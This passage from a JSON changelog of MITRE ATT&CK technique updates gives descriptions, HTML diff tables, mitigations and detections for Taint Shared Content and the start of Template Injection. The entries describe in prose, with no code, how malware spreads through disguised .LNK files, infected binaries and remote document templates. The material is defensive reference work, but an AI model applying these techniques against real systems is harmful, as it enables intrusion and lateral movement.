nowrap=\"nowrap\">n.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;shutdown/reboot&nbsp;a&nbsp;system&nbsp;aft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;shut<span class=\"diff_add\">&nbsp;</span>down/reboot&nbsp;a&nbsp;system&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;impacting&nbsp;it&nbsp;in&nbsp;other&nbsp;ways,&nbsp;such&nbsp;as&nbsp;[Disk&nbsp;Structure&nbsp;Wipe]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fter&nbsp;impacting&nbsp;it&nbsp;in&nbsp;other&nbsp;ways,&nbsp;such&nbsp;as&nbsp;[Disk&nbsp;Structure&nbsp;Wip</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1561/002)&nbsp;or&nbsp;[Inhibit&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e](https://attack.mitre.org/techniques/T1561/002)&nbsp;or&nbsp;[Inhibi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">System&nbsp;Recovery](https://attack.mitre.org/techniques/T1490),</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;System&nbsp;Recovery](https://attack.mitre.org/techniques/T1490</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;hasten&nbsp;the&nbsp;intended&nbsp;effects&nbsp;on&nbsp;system&nbsp;availability.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">),&nbsp;to&nbsp;hasten&nbsp;the&nbsp;intended&nbsp;effects&nbsp;on&nbsp;system&nbsp;availability.(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Talos&nbsp;Nyetya&nbsp;June&nbsp;2017)(Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Talos&nbsp;Nyetya&nbsp;June&nbsp;2017)(Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Dest</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yer&nbsp;2018)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">royer&nbsp;2018)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0559: Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:31:01.759000+00:00",
                    "modified": "2026-11-04 00:25:33.826000+00:00",
                    "name": "Taint Shared Content",
                    "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.(Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1080",
                            "external_id": "T1080"
                        },
                        {
                            "source_name": "Retwin Directory Share Pivot",
                            "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
                            "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Michal Dida, ESET",
                        "David Routin"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "SaaS",
                        "Linux",
                        "macOS",
                        "Office Suite"
                    ],
                    "x_mitre_version": "1.6",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:25:33.826000+00:00\", \"old_value\": \"2025-10-24 17:48:32.156000+00:00\"}, \"root['description']\": {\"new_value\": \"\\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\\n\\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.(Citation: Retwin Directory Share Pivot)\\n\\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.\", \"old_value\": \"\\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\\n\\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\\n\\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n \\n Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\\n \\n-A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\\n+A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.(Citation: Retwin Directory Share Pivot)\\n \\n Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.6",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to19__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to19__0\"><a href=\"#difflib_chg_to19__top\">t</a></td><td class=\"diff_header\" id=\"from19_1\">1</td><td nowrap=\"nowrap\">&nbsp;Adversaries&nbsp;may&nbsp;deliver&nbsp;payloads&nbsp;to&nbsp;remote&nbsp;systems&nbsp;by&nbsp;addin</td><td class=\"diff_next\"><a href=\"#difflib_chg_to19__top\">t</a></td><td class=\"diff_header\" id=\"to19_1\">1</td><td nowrap=\"nowrap\">&nbsp;Adversaries&nbsp;may&nbsp;deliver&nbsp;payloads&nbsp;to&nbsp;remote&nbsp;systems&nbsp;by&nbsp;addin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;content&nbsp;to&nbsp;shared&nbsp;storage&nbsp;locations,&nbsp;such&nbsp;as&nbsp;network&nbsp;drive</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;content&nbsp;to&nbsp;shared&nbsp;storage&nbsp;locations,&nbsp;such&nbsp;as&nbsp;network&nbsp;drive</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;or&nbsp;internal&nbsp;code&nbsp;repositories.&nbsp;Content&nbsp;stored&nbsp;on&nbsp;network&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;or&nbsp;internal&nbsp;code&nbsp;repositories.&nbsp;Content&nbsp;stored&nbsp;on&nbsp;network&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rives&nbsp;or&nbsp;in&nbsp;other&nbsp;shared&nbsp;locations&nbsp;may&nbsp;be&nbsp;tainted&nbsp;by&nbsp;adding&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rives&nbsp;or&nbsp;in&nbsp;other&nbsp;shared&nbsp;locations&nbsp;may&nbsp;be&nbsp;tainted&nbsp;by&nbsp;adding&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malicious&nbsp;programs,&nbsp;scripts,&nbsp;or&nbsp;exploit&nbsp;code&nbsp;to&nbsp;otherwise&nbsp;va</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malicious&nbsp;programs,&nbsp;scripts,&nbsp;or&nbsp;exploit&nbsp;code&nbsp;to&nbsp;otherwise&nbsp;va</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lid&nbsp;files.&nbsp;Once&nbsp;a&nbsp;user&nbsp;opens&nbsp;the&nbsp;shared&nbsp;tainted&nbsp;content,&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lid&nbsp;files.&nbsp;Once&nbsp;a&nbsp;user&nbsp;opens&nbsp;the&nbsp;shared&nbsp;tainted&nbsp;content,&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;malicious&nbsp;portion&nbsp;can&nbsp;be&nbsp;executed&nbsp;to&nbsp;run&nbsp;the&nbsp;adversary's&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;malicious&nbsp;portion&nbsp;can&nbsp;be&nbsp;executed&nbsp;to&nbsp;run&nbsp;the&nbsp;adversary's&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;on&nbsp;a&nbsp;remote&nbsp;system.&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;tainted&nbsp;shared&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;on&nbsp;a&nbsp;remote&nbsp;system.&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;tainted&nbsp;shared&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntent&nbsp;to&nbsp;move&nbsp;laterally.&nbsp;&nbsp;A&nbsp;directory&nbsp;share&nbsp;pivot&nbsp;is&nbsp;a&nbsp;varia</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntent&nbsp;to&nbsp;move&nbsp;laterally.&nbsp;&nbsp;A&nbsp;directory&nbsp;share&nbsp;pivot&nbsp;is&nbsp;a&nbsp;varia</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;on&nbsp;this&nbsp;technique&nbsp;that&nbsp;uses&nbsp;several&nbsp;other&nbsp;techniques&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;on&nbsp;this&nbsp;technique&nbsp;that&nbsp;uses&nbsp;several&nbsp;other&nbsp;techniques&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;propagate&nbsp;malware&nbsp;when&nbsp;users&nbsp;access&nbsp;a&nbsp;shared&nbsp;network&nbsp;direct</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;propagate&nbsp;malware&nbsp;when&nbsp;users&nbsp;access&nbsp;a&nbsp;shared&nbsp;network&nbsp;direct</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory.&nbsp;It&nbsp;uses&nbsp;[Shortcut&nbsp;Modification](https://attack.mitre.or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory.&nbsp;It&nbsp;uses&nbsp;[Shortcut&nbsp;Modification](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1547/009)&nbsp;of&nbsp;directory&nbsp;.LNK&nbsp;files&nbsp;that&nbsp;use&nbsp;[Ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1547/009)&nbsp;of&nbsp;directory&nbsp;.LNK&nbsp;files&nbsp;that&nbsp;use&nbsp;[Ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">squerading](https://attack.mitre.org/techniques/T1036)&nbsp;to&nbsp;lo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">squerading](https://attack.mitre.org/techniques/T1036)&nbsp;to&nbsp;lo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ok&nbsp;like&nbsp;the&nbsp;real&nbsp;directories,&nbsp;which&nbsp;are&nbsp;hidden&nbsp;through&nbsp;[Hidd</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ok&nbsp;like&nbsp;the&nbsp;real&nbsp;directories,&nbsp;which&nbsp;are&nbsp;hidden&nbsp;through&nbsp;[Hidd</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;Files&nbsp;and&nbsp;Directories](https://attack.mitre.org/technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;Files&nbsp;and&nbsp;Directories](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1564/001).&nbsp;The&nbsp;malicious&nbsp;.LNK-based&nbsp;directories&nbsp;have&nbsp;an&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1564/001).&nbsp;The&nbsp;malicious&nbsp;.LNK-based&nbsp;directories&nbsp;have&nbsp;an&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mbedded&nbsp;command&nbsp;that&nbsp;executes&nbsp;the&nbsp;hidden&nbsp;malware&nbsp;file&nbsp;in&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mbedded&nbsp;command&nbsp;that&nbsp;executes&nbsp;the&nbsp;hidden&nbsp;malware&nbsp;file&nbsp;in&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;directory&nbsp;and&nbsp;then&nbsp;opens&nbsp;the&nbsp;real&nbsp;intended&nbsp;directory&nbsp;so&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;directory&nbsp;and&nbsp;then&nbsp;opens&nbsp;the&nbsp;real&nbsp;intended&nbsp;directory&nbsp;so&nbsp;tha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;the&nbsp;user's&nbsp;expected&nbsp;action&nbsp;still&nbsp;occurs.&nbsp;When&nbsp;used&nbsp;with&nbsp;fr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;the&nbsp;user's&nbsp;expected&nbsp;action&nbsp;still&nbsp;occurs.&nbsp;When&nbsp;used&nbsp;with&nbsp;fr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">equently&nbsp;used&nbsp;network&nbsp;directories,&nbsp;the&nbsp;technique&nbsp;may&nbsp;result&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">equently&nbsp;used&nbsp;network&nbsp;directories,&nbsp;the&nbsp;technique&nbsp;may&nbsp;result&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;frequent&nbsp;reinfections&nbsp;and&nbsp;broad&nbsp;access&nbsp;to&nbsp;systems&nbsp;and&nbsp;pot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;frequent&nbsp;reinfections&nbsp;and&nbsp;broad&nbsp;access&nbsp;to&nbsp;systems&nbsp;and&nbsp;pot</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entially&nbsp;to&nbsp;new&nbsp;and&nbsp;higher&nbsp;privileged&nbsp;accounts.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;R</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entially&nbsp;to&nbsp;new&nbsp;and&nbsp;higher&nbsp;privileged&nbsp;accounts.(Citation:&nbsp;Re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etwin&nbsp;Directory&nbsp;Share&nbsp;Pivot)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;compromis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">twin&nbsp;Directory&nbsp;Share&nbsp;Pivot)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;compromise</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;shared&nbsp;network&nbsp;directories&nbsp;through&nbsp;binary&nbsp;infections&nbsp;by&nbsp;ap</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;shared&nbsp;network&nbsp;directories&nbsp;through&nbsp;binary&nbsp;infections&nbsp;by&nbsp;app</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pending&nbsp;or&nbsp;prepending&nbsp;its&nbsp;code&nbsp;to&nbsp;the&nbsp;healthy&nbsp;binary&nbsp;on&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ending&nbsp;or&nbsp;prepending&nbsp;its&nbsp;code&nbsp;to&nbsp;the&nbsp;healthy&nbsp;binary&nbsp;on&nbsp;the&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shared&nbsp;network&nbsp;directory.&nbsp;The&nbsp;malware&nbsp;may&nbsp;modify&nbsp;the&nbsp;origina</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hared&nbsp;network&nbsp;directory.&nbsp;The&nbsp;malware&nbsp;may&nbsp;modify&nbsp;the&nbsp;original</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;entry&nbsp;point&nbsp;(OEP)&nbsp;of&nbsp;the&nbsp;healthy&nbsp;binary&nbsp;to&nbsp;ensure&nbsp;that&nbsp;it&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;entry&nbsp;point&nbsp;(OEP)&nbsp;of&nbsp;the&nbsp;healthy&nbsp;binary&nbsp;to&nbsp;ensure&nbsp;that&nbsp;it&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;executed&nbsp;before&nbsp;the&nbsp;legitimate&nbsp;code.&nbsp;The&nbsp;infection&nbsp;could&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;executed&nbsp;before&nbsp;the&nbsp;legitimate&nbsp;code.&nbsp;The&nbsp;infection&nbsp;could&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">continue&nbsp;to&nbsp;spread&nbsp;via&nbsp;the&nbsp;newly&nbsp;infected&nbsp;file&nbsp;when&nbsp;it&nbsp;is&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ontinue&nbsp;to&nbsp;spread&nbsp;via&nbsp;the&nbsp;newly&nbsp;infected&nbsp;file&nbsp;when&nbsp;it&nbsp;is&nbsp;exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuted&nbsp;by&nbsp;a&nbsp;remote&nbsp;system.&nbsp;These&nbsp;infections&nbsp;may&nbsp;target&nbsp;both&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cuted&nbsp;by&nbsp;a&nbsp;remote&nbsp;system.&nbsp;These&nbsp;infections&nbsp;may&nbsp;target&nbsp;both&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">binary&nbsp;and&nbsp;non-binary&nbsp;formats&nbsp;that&nbsp;end&nbsp;with&nbsp;extensions&nbsp;inclu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inary&nbsp;and&nbsp;non-binary&nbsp;formats&nbsp;that&nbsp;end&nbsp;with&nbsp;extensions&nbsp;includ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ding,&nbsp;but&nbsp;not&nbsp;limited&nbsp;to,&nbsp;.EXE,&nbsp;.DLL,&nbsp;.SCR,&nbsp;.BAT,&nbsp;and/or&nbsp;.VB</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing,&nbsp;but&nbsp;not&nbsp;limited&nbsp;to,&nbsp;.EXE,&nbsp;.DLL,&nbsp;.SCR,&nbsp;.BAT,&nbsp;and/or&nbsp;.VBS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1038: Execution Prevention",
                            "M1049: Antivirus/Antimalware",
                            "M1050: Exploit Protection"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0471: Detection of Tainted Content Written to Shared Storage"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-10-17 00:14:20.652000+00:00",
                    "modified": "2026-11-03 23:21:49.163000+00:00",
                    "name": "Template Injection",
                    "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad 